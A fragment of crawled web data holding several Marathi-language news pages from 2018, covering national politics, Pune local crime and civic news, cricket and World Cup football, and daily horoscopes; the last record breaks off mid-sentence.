"source_domain": "www.dainikprabhat.com", "title": "शिस्तीचा आग्रह धरणाऱ्याला आज हुकुमशहा म्हटले जाते: पंतप्रधान | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nशिस्तीचा आग्रह धरणाऱ्याला आज हुकुमशहा म्हटले जाते: पंतप्रधान\nनवी दिल्ली: उपराष्ट्रपती व्यंकैय्या नायडू यांच्या पदाच्या कारकिर्दीला वर्ष पुर्ण झाल्याच्या निमीत्ताने त्यांनी वर्षभराच्या उपराष्ट्रपती पदावरील अनुभवाच्या आधारे एक पुस्तक लिहीले असून या पुस्तकाचे प्रकाशन आज पंतप्रधान नरेंद्र मोदी यांच्या हस्ते झाले. यावेळी माजी पंतप्रधान मनमोहनसिंग हेही उपस्थित होते. यावेळी बोलताना मोदी म्हणाले की नायडू हे शिस्तीचा आग्रह धरणारे उपराष्ट्रपती आहेत पण आज शिस्तीचा आग्रह धरणाऱ्यावर हुकुमशाही केल्याचा आरोप केला जातो.\nते म्हणाले की नायडू यांनी आपल्यापदाची शान आणि मर्यादा राखताना अत्यंत शिस्तीने काम केले पण आज शिस्तीने काम करणारा लोकशाही विरोधी आणि हुकुमशाही प्रवृत्तीचा मानला जातो. नायडू यांनी सुमारे पाच दशके सार्वजनिक जीवनात काम केले आहे त्याती दहा वर्षे त्यांनी विद्यार्थी दशेतील चळवळीत घालवली आणि नंतर चाळीस वर्षे त्यांनी केंद्र आणि राज्याच्या राजकारणात काम केले. या काळात त्यांनी दिलेल्या योगदानाचाही मोदींनी यावेळी गौरव केला. लोकसभेच्या सभापती सुमित्रा महाजन, केंद्रीय अर्थमंत्री अरूण जेटली, माजी केंद्रीय मंत्री आनंद शर्मा इत्यादी यावेळी व्यासपीठावर उपस्थित होते.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleसर्वांत उच्चांकी इंधन दरवाढ\nNext article#कथाबोध: सर्वोत्कृष्ट शासक कसा ठरवायचा\nमोदींनी विमानातून काढलेले ‘फोटो’ पाहिलेत का\nआधी शेतकऱ्यांचे प्रश्न सोडवा ; जपानने मोदींचा ड्रीम प्रोजेक्ट रोखला\nजम्मू काश्मीर – बारामुल्लामध्ये चकमक, दोन दहशतवादी ठार\nपंतप्रधान नरेंद्र मोदी यांना शांततेचा नोबेल मिळणार \nराहुल गांधी चोर असून त्यांचा संपूर्ण परिवार कमिशनवर जिवंत – रविशंकर प्रसाद\nभाजपच्या ‘कार्यकर्ता महाकुंभ’ला दिग्गज नेत्यांची हजेरी ; काँग्रेसवर हल्लाबोल\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00138.warc.wet.gz", "language": "mr", "language_score": 0.87, "bucket": "all"} {"url": "http://www.saamana.com/category/utsav-star/6manini/page/4/", "date_download": "2018-09-25T16:34:57Z", "digest": "sha1:XLW2ZPZNCAVHV47XMGECU4DAO7MLHI4N", "length": 17711, "nlines": 263, "source_domain": "www.saamana.com", "title": "मानिनी | Saamana (सामना) | पृष्ठ 4", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानसमोर 253 धावांचे आव्हान\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\n>> - पूजा तावरे, फॅशन डिझायनर ऑनलाइन खरेदी ही गोष्ट आता तशी नवीन राहिलेली नाही. दुकानात न मिळणाऱ्या दुर्मिळ गोष्टी ऑनलाइनवर सहज मिळून जातात. कामाचा व्याप...\n>> ज्योत्स्ना गाडगीळ नुकत्याच केलेल्या राष्ट्रीय कुटुंब कल्याण सर्वेक्षणानुसार आजच्या स्त्रीला मुलांबाबत ‘एकच पुरे’ हा निर्णय घ्यावासा वाटतो आहे. काय असतील यामागची कारणे... ‘अष्टपुत्रवतीSSS भव\nसाहित्य - १ कप मैदा, १ कप कणिक, ६ चमचे डालड्य़ाचे मोहन, पाऊण कप किसलेले चीझ, १ छोटासा फ्लॉवर, १ गाजर, १ वाटी मटारचे...\n>> पूजा तावरे आजकाल ७० आणि ८० च्या दशकांतील फॅशनची चलती दिसून येत आहे. ओल्ड इज गोल्ड या म्हणीचा प्रत्यय आता सातत्यानं येऊ लागला आहे....\n मुंबई रडायला आल्यावरच अश्रू पहायला मिळतात. पण कांदा हा असा पदार्थ आहे जो सगळ्यांच्याच डोळ्यात अश्रू आणतो. मग त्यात चिरणाऱयापासून आजूबादूला बसलेल्या...\n मुंबई झोप पूर्ण झाली नाही तर लहान मुलांची चिडचिड होते, डोके दुखते. बऱ्याचदा मुले रात्री लवकर झोपत नाहीत. त्यामुळे त्यांना उठायला उशीर...\n मुंबई कुंकू... दोन भुवयांच्या मध्यभागी लावले जाणारे सौभाग्यचिन्ह... देवपूजेतील मांगलिक पदार्थ... हळदीच्या चूर्णापासून कुंकू तयार करतात. महिलांच्या शृंगारापैकी कुंकू हाही एक शृंगारच...\nसाहित्य : तीळ, गूळ, गव्हाचं पीठ, तूप, वेलची, जायफळ कृती : मंद गॅसवर कढई तापवून घ्यावी. त्यामध्ये तीळ सोनेरी रंग येईपर्यंत भाजून घ्यावेत. तीळाबरोबर खसखसही...\n‘मुंबईच्या मुली’ची हिंदुस्थानी क्रिकेट संघात निवड\n मुंबई जेमिमा रॉड्रिग्स मुंबईची मुलगी... हिंदुस्थानी क्रिकेट संघात आपल्या तुफान धावांनी प्रवेश मिळवलाय... आज महिलांचं क्रिकेट खूप जोमाने पुढे येतंय. मिताली राज, स्मृती...\nनाभी हा शरीराचा अत्यंत महत्त्वाच भाग... वैद्य बरेचसे आजार नाभी पाहूनच ओळखतात. शरीरातील सर्व स्नायू नाभीशी जोडले गेलेले असल्याने नाभीवर उपचार केल्यास त्याचा संपूर्ण...\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00138.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/editions/solapur/page/28", "date_download": "2018-09-25T17:15:40Z", "digest": "sha1:OMMI6IXJZQU52DD2EZKDOTRIOJUPYOTW", "length": 9343, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "पुणे Archives - Page 28 of 125 - तरुण भारत | तरुण भारत", "raw_content": "\nइंग्रजी बोलता येत नाही म्हणून सासरच्यांकडून छळ झाल्याने सुनेची आत्महत्या\nऑनलाईन टीम / पुणे : सुनेला इंग्रजी बोलत येत नाही म्हणून सासरच्या मंडळींनी सुनेला मानसिक त्रास देत तिला आत्महत्येस प्रवृत्त केल्या प्रकरणावरून वाकड पोलिसात तक्रार दाखल झाली आहे. गुरूवारी पीडित नवविवाहित महिलेने गळफास घेऊन आपल जीवन संपवले. सारिका उर्फ प्रतीक्षा गणेश पाटील असे मयत महिलेचे नाव आहे. याप्रकरणी मयत महिलेचा भाऊ रवींद्र गलांडे याने पतीसह सासरच्या मंडळींविरोधात तक्रार दाखल ...Full Article\nदादा वासवानी यांना शोकाकुल वातावरणात निरोप\nऑनलाईन टीम / पुणे : शाकाहारासाठी देशविदेशात प्रचार करणारे साधू वासवानी मिशनचे प्रमुख दादा वासवानी यांना त्यांच्या देश विदेशातील अनुयायांनी शेवटचा निरोप दिला. वासावनी यांचे गुरूवारी सकाळी 9.01 वाजण्याच्या ...Full Article\nचिडलेल्या नागरिकांनी थेट क्षेत्रीय कार्यालयातच फेकला कचरा\nऑनलाईन टीम / पुणे : जनता वसाहत येथील स्वच्छतेच्या कामांकडे दुर्लक्ष करत असल्याचा निषेध म्हणून स्थानिक नागरिकांना बरोबर घेऊन महापालिकेच्या टिळक रस्ता क्षेत्रीय कार्यालयात आंदोलन केले. कार्यालच्या तिन्ही मजल्यांवर ...Full Article\nकाँग्रेस सत्तेत आल्यास बुलेट ट्रेन प्रकल्प रद्द करू -पृथ्वीराज चव्हाण\nऑनलाईन टीम / नागपूर : पंतप्रधान नरेंद्र मोदोंचे ‘ड्रीम प्रोजेक्ट’ असलेल्या बुलेट टेन प्रकल्पाला होणारा विरोध पाहून काँग्रेसने एक मोठी घोषणा केली आहे. आमची सत्ता आली, तर मुंबई-अहमदाबाद बुलेट ...Full Article\nअध्यात्मिक गुरू दादा वासवानी यांचे निधन\nऑनलाईन टीम / पुणे : प्रसिद्ध अध्यात्मकि गुरू आणि साधू वासवानी मिशनचे संस्थापक दादा वासवानी यांचं आज पुण्यात वृद्धापकाळानं निधन झालं. ते 99 वर्षाचे होते. त्यांच्या निधनानं अध्यात्मकि क्षेत्राची ...Full Article\nहाफ पँट व स्लीपर घातल्याने हॉटेलमधून काढले बाहेर\nऑनलाईन टीम / पुणे : पुण्यात नुकतीच एक अजब घटना घडली आहे. हॉटेलमध्ये आलेल्या तरूणांनी हाफ पँट आणि स्लीपर घातल्याने त्यांच्यावर हॉटेल प्रशासनाने त्यांना चक्क बाहेरचा रस्ता दाखवला आहे. ...Full Article\n‘दगडूशेठ’ ने किल्ले दत्तक योजनेत सक्रिय सहभाग घ्यावा ;खासदार छत्रपती संभाजीराजे यांचे आवाहन\nऑनलाईन टीम / पुणे : शिवराज्याभिषेक हा राष्ट्रीय सण व्हावा, याकरीता आम्ही प्रयत्नशील आहोत. शिवराज्याभिषेक उत्सवाला श्रीमंत दगडूशेठ हलवाई सार्वजनिक गणपती ट्रस्टतर्फे रायगडावर दरवर्षी फुलांची आकर्षक आरास केली जाते. ...Full Article\nपेणजवळ एसटीच्या अपघातात 10 प्रवासी जखमी\nऑनलाईन टीम / पेण : एसटी बसच्या अपघातांची मालिका सुरूच असून पेणजवळील वरवणे येथे वाहनाला वाचवण्याचा प्रयत्नात चालकाचे बसवरील नियंत्रण सुटून बसचा अपघात झाला. या अपघातात 15 प्रवासी जखमी ...Full Article\nप्रेमप्रकरण घरी सांगितल्याने मित्राचा खुन\nऑनलाईन टीम / पुणे : प्रेयसीच्या घरी प्रेमप्रकरणाची माहिती दिल्याने चिडून तिघा जणांनी मित्राच्या गळय़ावर बियरची बाटली खूपसून खुन केल्याची धक्कादायक घटना घडली आहे. ही घटना कोथरुडमधील कलाग्राम सोसायटीत ...Full Article\nइंद्रायणी, डेक्कन एक्स्प्रेस पुढील दोन दिवस रद्द\nऑनलाईन टीम / पुणे : रेल्वे प्रवाशांना मुंबईत कोसळणाऱया पावसाचा जोरदार फटका बसत आहे. मध्य रेल्वेने मंगळवारी व बुधवारीही डेक्कन व इंद्रायणी एक्सप्रेस या गाडय़ा दोन्ही बाजूने रद्द करण्यात ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00138.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://mahasports.co.in/why-virat-said-shabash-lambe-to-ishant-sharma/", "date_download": "2018-09-25T17:02:15Z", "digest": "sha1:CVHLLNJPSTIB4VJLP75BCHHBW2EMKAJF", "length": 7083, "nlines": 61, "source_domain": "mahasports.co.in", "title": "\"शाब्बास लंबे\" विराटचा आवाज स्टंप जवळील कॅमेऱ्यात रेकॉर्ड! -", "raw_content": "\n“शाब्बास लंबे” विराटचा आवाज स्टंप जवळील कॅमेऱ्यात रेकॉर्ड\n“शाब्बास लंबे” विराटचा आवाज स्टंप जवळील कॅमेऱ्यात रेकॉर्ड\n दक्षिण आफ्रिका विरुद्ध भारत यांच्यातील दुसऱ्या कसोटी सामन्यात विराटचा शिव्या देण्याचा एक विडिओ सोशल मीडियावर चांगलाच गाजला. यानंतर कसोटीच्या तिसऱ्या दिवशी आणखी एक विडिओ समोर आला आहे.\nयावेळी विराट कोहली आणि इशांत शर्मा यांच्या दरम्यान झालेले एक छोटे संभाषण स्टंप माईकमधून सर्वांना ऐकू आले. या संभाषणात विराटने इशांतला “शाब्बास लंबे” असे म्हटले आहे.\nया संभाषणादरम्यान विराटचा इशांत शर्मावरील विश्वास दिसून येत होता. पहिल्या डावात फलंदाजी करताना विराट त्याच्या बरोबर १० व्या क्रमांकावर फलंदाजी करायला इशांतला म्हणाला “तू मोर्ने मॉर्केलचे दोन चेंडू खेळशील” (“तू २ बॉल खेलेगा इसकी”).\nत्यावर इशांत शर्माने होकार देताना म्हटले ” हो खेळेल.” (“हां खेल लुंगा”). यावर पुन्हा विराटने खात्री करून घेण्यासाठी विचारले “तुला खात्री आहे” आणि इशांतने त्याला “हो” सांगितले. इशांतचा आत्मविश्वास आणि होकार ऐकून विराट त्याला म्हणाला, “शाब्बास लंबे.”\nया सामन्यात विराटने १५३ धावांची दीडशतकी खेळी केली आहे. त्याच्या या खेळीच्या जोरावर भारताने पहिल्या डावात सर्वबाद ३०७ धावा केल्या आहेत.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00138.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.esakal.com/krida-football/belgium-creat-tension-brazil-128591", "date_download": "2018-09-25T17:29:24Z", "digest": "sha1:2NLSB2XQOS3MDTEH2B2HF25SVBZBWEZL", "length": 13178, "nlines": 176, "source_domain": "www.esakal.com", "title": "belgium creat tension for Brazil? युरोपियन बेल्जियम ठरणार ब्राझीलसाठी डोकेदुखी? | eSakal", "raw_content": "\nयुरोपियन बेल्जियम ठरणार ब्राझीलसाठी डोकेदुखी\nशुक्रवार, 6 जुलै 2018\nजागतिक क्रमवारीत तिसऱ्या क्रमांकावर असूनही बेल्जियमला कोणीही फुटबॉलमधील ताकद मानत नाही. विश्‍वकरंडक स्पर्धेच्या उपांत्यपूर्व फेरीत ब्राझीलला पराजित केले तर बेल्जियम फुटबॉलचा दबदबा वाढेल तसेच आपलीही किंमत वाढेल, याची जाणीव बेल्जियम खेळाडूंना आहे.\nकझान - जागतिक क्रमवारीत तिसऱ्या क्रमांकावर असूनही बेल्जियमला कोणीही फुटबॉलमधील ताकद मानत नाही. विश्‍वकरंडक स्पर्धेच्या उपांत्यपूर्व फेरीत ब्राझीलला पराजित केले तर बेल्जियम फुटबॉलचा दबदबा वाढेल तसेच आपलीही किंमत वाढेल, याची जाणीव बेल्जियम खेळाडूंना आहे.\nबेल्जियमचे चाहते आपल्या संघास प्रेमाने गोल्डन जनरेशन म्हणतात. पण बेल्जियम खेळाडूंना ते मान्य नाही. आम्हाला गोल्डन जनरेशन म्हणणे चुकीचे आहे. ही लढत आमच्यासाठी खूपच मोलाची आहे. आम्ही त्यांच्यापेक्षा नक्कीच कमी नाही, पण ते आता दाखवण्याची आम्हाला संधी आहे, असे बेल्जियमचा अव्वल बचावपटू व्हिन्सेंट कोम्पनी याने सांगितले.\nगेल्या काही वर्षांपासून बेल्जियमला स्पर्धा विजेतेपदासाठी पसंती दिली जाते, पण त्यांना लौकिकानुसार कामगिरी साधलेली नाही. गेल्या दोन महत्त्वाच्या स्पर्धेत त्यांचे आव्हान उपांत्यपूर्व फेरीत आटोपले होते. क्‍लब स्तरावर प्रभावी ठरणारे बेल्जियम खेळाडू राष्ट्रीय संघाला यश देत नाहीत.\nताकदवान संघ असला की लढतीपूर्वीच आम्ही हरणार असे समजत होतो, पण आता मनःस्थिती बदलली आहे. आपण ब्राझीलला हरवू शकतो याची आम्हाला खात्री आहे, पण त्याचवेळी आपण हरलो तर याचीही धास्ती आम्हाला आहे. भविष्यात आम्हाला हे नक्कीच नको आहे, असेही त्याने सांगितले.\nबेल्जियमच्या खेळाडूंना आपण वैयक्तिक कौशल्यात ब्राझील खेळाडूंच्या तुलनेत कमी आहोत, याची जाणीव आहे; पण त्याचवेळी आपले सांघिक कौशल्य ब्राझीलपेक्षा सरस आहे, हा त्यांचा विश्‍वास आहे. हीच ब्राझीलसाठी जास्त डोकेदुखी आहे.\nआम्ही वैयक्तिक कौशल्यात नव्हे, तर सांघिक कामगिरीत ब्राझीलपेक्षा सरस आहोत. एकमेकांसह तसेच एकमेकांसाठी कसे लढायचे याची आम्हाला पुरेपूर कल्पना आहे. त्यात आम्ही नक्कीच स्मार्ट आहोत. फुटबॉलमध्ये वैयक्तिक नव्हे, तर सांघिक कौशल्य महत्त्वाचे असते. - व्हिन्सेंट कोम्पनी, बेल्जियमचा अनुभवी खेळाडू\n...तर युवक महोत्सव उधळून लावू\nऔरंगाबाद : कुलगुरूंच्या दालनात आंदोलन करणाऱ्या अभाविपच्या कार्यकर्त्यांवर कारवाई केली नाही, तर बुधवारपासून (ता. 26) सुरू होणारा केंद्रीय युवक महोत्सव...\nकाव्यगायन स्पर्धेत अनुराग जगदाळे प्रथम\nनिजामपूर-जैताणे (धुळे) : येथील जवाहरलाल सार्वजनिक वाचनालयात वाचनालयाचे अध्यक्ष नयनकुमार शाह यांच्या मातोश्री व माजी सरपंच अजितचंद्र शाह यांच्या...\nराष्ट्रीय सेवा योजना युवकांना कृतीशील शिक्षण देणारी कार्यशाळा : डॉ. माळी\nभिगवण (पुणे) : महाविद्यालयीन स्तरावर राबविण्यात येत असलेली राष्ट्रीय सेवा योजना ही युवकांना सामाजिक कार्यांकडे आकर्षित करते. पुस्तकी शिक्षणाला...\nचिमूर तालुक्यातील दोन अंध विद्यार्थी करणार बॅटिंग\nचिमूर - क्रीकेट असोसिएशन फॉर दी ब्लाँइड ऑफ महाराष्ट्र व भारतिय अंधजन विकास व पुनर्वसन संस्था अमरावती यांच्या संयुक्त विद्यमाने विदर्भ स्तरीय अंध...\nगोकुळचे नाव देशात करायचे - महादेवराव महाडिक जिल्हा दूध संघ मल्टिस्टेट का करत आहात महाडिक - गोकुळ दूध संघाला सुरुवात...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00139.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://divyamarathi.bhaskar.com/jeevan-mantra-news/jyotish-news/rashi-nidan/6", "date_download": "2018-09-25T16:39:42Z", "digest": "sha1:DBCJ4CEM2U7KVKOXS6FPXPDVVSVWFBPF", "length": 33355, "nlines": 227, "source_domain": "divyamarathi.bhaskar.com", "title": "Rashifal In Marathi, Rashi Bhavishya In Marathi, Daily Horoscope In Marathi, आजचे राशीभविष्य", "raw_content": "\nज्योतिषवास्तु शास्त्रहस्त रेखाराशि निदान\nमकर राशिफळ : 15 Sep 2018: जाणून घ्या, लव्ह, हेल्थ आणि करिअरसाठी कसा राहील तुमच्यासाठी आजचा दिवस\nमकर राशी, 15 Sep 2018 (Aajche Makar Rashi Bhavishya): मकर राशीच्या लोकांच्या डोक्यात आणि विचारात आज काही खास काम करण्याच्या गोष्टी चालतील. आज तुम्ही घाईगडबडीत कोणताही निर्णय घेण्यापासून दूर राहावे. यासोबतच तुमच्या संशयी स्वभावावरही आज नियंत्रण ठेवावे. याचा फायदाच तुम्हाला होईल. दिव्य मराठीच्या राशीफळनुसार जाणून घ्या, आजची ग्रहांची स्थिती तुमच्यासाठी अनुकूल आहे की नाही आणि तुमच्या नोकरी, बिझनेसवर ग्रह-ताऱ्यांचा कसा राहील प्रभाव.आज क्या अच्छा हो सकता है मकर राशि वालों के वालों के साथकुंभ राशि वालों के लिए...\nकुंभ राशी : 15 Sep 2018: जाणून घ्या, कुंभ राशीच्या लोकांसाठी कसा राहील आजचा दिवस\nकुंभ राशी, 15 Sep 2018 (Aajche Kumbh Rashi Bhavishya): कुंभ राशी असल्यामुळे तुमची सर्वात खास गोष्टी म्हणजे तुम्ही अनेक तास ध्यान केंद्रित करू शकता. आज तुम्ही तुमच्या या गोष्टीचा फायदा घेण्याचा प्रयत्न करावा. तुमच्या राशीसाठी चंद्र सहाव्या स्थानाचा स्वामी आहे. चंद्राची शुभ स्थिती तुम्हाला शत्रूवर विजय मिळवून देऊ शकते. दिव्य मराठीच्या पेजवर जाणून घ्या, आजचा दिवस तुमच्यासाठी कसा राहील, काय सांगतात ग्रह-तारे.आज क्या अच्छा हो सकता है कुंभ राशि वालों के वालों के साथकिसी खास मामले पर किस्मत का साथ मिल सकता है\nजाणून घ्या, आज 15 Sep 2018 ला मेष राशीच्या लोकांसाठी कशी राहील ग्रहांची स्थिती\nमेष राशिफळ (15 Sep 2018, Aajche Mesh Rashi Bhavishya): पॉझिटिव्ह -नोकरी किंवा व्यवसायात काहीतरी नवीन करण्याचा प्रयत्न करू शकता. मित्र आणि कुटुंबातील सदस्यांशी संबंध चांगले होतील. एखाद्या खास विषयावर प्लॅनिंग करावी. अडकलेले काम पूर्ण होऊ शकते. भावंडांशी दीर्घ चर्चेचे योग आहेत. सकारात्मक दृष्टिकोन ठेवणे तुमच्यासाठी चांगले राहील. एखाद्या कार्यक्रमासाठी आज गिफ्ट खरेदी करून ठेवू शकता. नेगेटिव -आज गाडी दुरुस्त करावी लागू शकते. मनाविरुद्ध परिस्थितीमुळे अडचणी वाढू शकतात. रागावर नियंत्रण ठेवावे. व्यर्थ कामाकडे...\n15 Sep 2018: काहीशी अशी राहील वृषभ राशीच्या लोकांसाठी लव्ह-लाइफ, जाणून घ्या तुमच्यासोबत आज काय चांगले घडू शकते\nआजचे वृषभ राशिफळ (15 Sep 2018, Aajche Vrishabh Rashi Bhavishya): पॉझिटिव्ह- ग्रहताऱ्यांची आज साथ मिळेल. तुमचे व्यक्तित्व आणि जीवनशैलीत चांगले बदल होण्याची शक्यता आहे. सासरच्या मंडळींकडून अथवा आईवडिलांकडून मदत मिळण्याचे योग. प्रेमी जोडप्यांना विवाहासाठी आईवडिलांची मंजुरी मिळेल. आज अनेक प्रकारचे विचार येत राहतील. परंतु प्रत्येक कठीण काळात तुम्ही सकारात्मक राहिले पाहिजे. प्रेमसंबंधांतील जुन्या गोष्टी विसरून पुढे वाटचाल करा. दिलेली वचने जरूर पूर्ण करा. बिझनेसशी संबंधित एखादा मोठा निर्णय 